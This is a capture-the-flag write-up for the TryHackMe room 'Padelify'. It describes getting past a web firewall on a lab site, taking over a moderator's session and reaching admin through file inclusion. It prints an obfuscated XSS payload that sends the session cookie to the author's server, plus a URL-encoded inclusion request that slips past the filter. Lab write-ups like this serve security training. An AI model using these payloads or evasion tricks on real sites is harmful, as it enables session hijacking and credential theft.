> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2025/padelify.md).

# Padelify

{% embed url="<https://tryhackme.com/room/padelify>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Summary

<details>

<summary>Summary</summary>

In Padelify we compromise a WAF-protected web application by chaining client-side exploitation with filter evasion techniques. Through crafted reconnaissance requests, we identify protected configuration and log directories while observing blocked payloads in server error logs that hint at filtering behavior. Using an obfuscated XSS payload embedded in the registration form, we exfiltrate the `moderator`'s session cookie and hijack their account. From the moderator dashboard, we exploit a file inclusion vulnerability in the live match viewer by bypassing the WAF with URL encoding to access restricted configuration files, revealing administrative credentials. Logging in as `admin`, we  retrieve the final flag.

</details>

## Recon

We start with some reconnaissance, but skip the port scan, as we already know from the room description that we are dealing with a web server on port 80 and our task is to bypass the WAF.

When we try to perform a simple directory scan with Gobuster, we immediately receive a `403 Forbidden error`.

{% code overflow="wrap" %}

```
gobuster dir -u http://10.80.159.59 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
```

{% endcode %}

<figure><img src="/files/JkzQJUIYPXIQHqCJhKfT" alt=""><figcaption></figcaption></figure>

By setting a valid user agent such as `Mozilla/1.0`, we bypass the WAF for the first time and find two interesting directories: the `config` and `logs` directories.

{% code overflow="wrap" %}

```
gobuster dir -u http://10.80.159.59 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "User-Agent: Mozilla/1.0"
```

{% endcode %}

<figure><img src="/files/cp0JBuOtR6F9QYHtpZvM" alt=""><figcaption></figcaption></figure>

In the config directory, we find the file `app.conf`. This could contain sensitive information...

<figure><img src="/files/7RVypuEha1UwcuCh5puC" alt=""><figcaption></figcaption></figure>

... but here, WAF is obviously blocking us, specifically filtering `app.config`.

<figure><img src="/files/fCR3IVbKmfMBwbqyHpZs" alt=""><figcaption></figcaption></figure>

What is also interesting is that we find an error.log file in the logs directory, as is usual with an Apache web server or similar. An error.log typically records server-side problems such as configuration errors, missing files, permission issues, script failures, and runtime errors encountered while processing requests.&#x20;

<figure><img src="/files/olxsuU9AjjwDUjhW1wxJ" alt=""><figcaption></figcaption></figure>

Here we see, among other things, an XSS attempt right before the registration table of the database was locked and bypass attempt that was attempted using double URL encoding right after the access on `app.conf`. Those are some helpful tips on what we can try next.

<figure><img src="/files/D42jZmdPsXxCTBpte7C1" alt=""><figcaption></figcaption></figure>

We visit the Padelify website and are greeted with a registration page.&#x20;

<figure><img src="/files/aUuCjdlKO51J1PnX2nfQ" alt=""><figcaption></figcaption></figure>

When we complete a registration, we are informed that our registration will be reviewed by a `moderator`.

<figure><img src="/files/ovaELhxYXbxshYjnJAGr" alt=""><figcaption></figcaption></figure>

## Access as moderator

We will now attempt to inject an XSS payload via the player username field that will exfiltrate the `moderator`'s session cookie and will not be detected by the WAF. To do this, we use a payload that we used in Farewell the week before and try this first:

{% embed url="<https://0xb0b.gitbook.io/writeups/tryhackme/2025/farewell#access-as-admin>" %}

We start a web server on which the request is made to exfiltrate the cookie.

```
python3 -m http.server 8080
```

<figure><img src="/files/Ia2Q2ghls8W094DYaiUD" alt=""><figcaption></figcaption></figure>

When the page loads of the `moderators` review page, the cookies will be send to our controlled server at `10.80.107.8:8080`. We simply bypass the WAF by using the not filtered `<body onload="` and obfuscate the `cookie` parameter.

{% code overflow="wrap" %}

```
<body onload="new Image().src='http://10.80.107.8:8080?c='+document['coo'+'kie'];">
```

{% endcode %}

<figure><img src="/files/XVWvUSMYFLa0WAlPu5w9" alt=""><figcaption></figcaption></figure>

After registration we get a connection back to our web server with the cookie in the GET request.

<figure><img src="/files/xIa2B7x1Ipvhz8jqHc0u" alt=""><figcaption></figcaption></figure>

Next, we replace the cookie...

<figure><img src="/files/FmC85DmqiVbIr38z05L3" alt=""><figcaption></figcaption></figure>

... and reload the page. We are the user `moderator` now and are to retrieve the first flag.

<figure><img src="/files/UoIT90wIE09L47d6Rlr8" alt=""><figcaption></figcaption></figure>

## Access as admin

As moderators, we now have access to the `/live.php` page, which loads the `match.php` page using file inclusion. This page appears to display the live feed of a match.

<figure><img src="/files/6eDWQYSqEbmd3M3oJaWz" alt=""><figcaption></figcaption></figure>

If we try to bluntly access the `config/app.conf` via the file inclusion we get a 403.

```
/live.php?page=config/app.conf 
```

<figure><img src="/files/DnTn8yd2Nlk79xS9oqQq" alt=""><figcaption></figcaption></figure>

We capture the request using Burp Suite and try our luck in the repeater. After a few attempts, we find a solution. When the entire string `config/app.conf` is URL-encoded, the WAF does not block it and we can access `config/app.conf`. In it, we find a password.

```
/live.php?page=%63%6f%6e%66%69%67%2f%61%70%70%2e%63%6f%6e%66
```

<figure><img src="/files/8Rmj52oqSqWEwX4ej3sP" alt=""><figcaption></figcaption></figure>

We try to log in as `admin` with the password found in `config/app.conf` and are successful.

<figure><img src="/files/cJFEhQMeglFgBjN7yOsc" alt=""><figcaption></figcaption></figure>

We are now again inside the `dashboard.php` but as `admin` and see the final flag.

<figure><img src="/files/WtngBQVM1oojBU6h0Y9j" alt=""><figcaption></figcaption></figure>
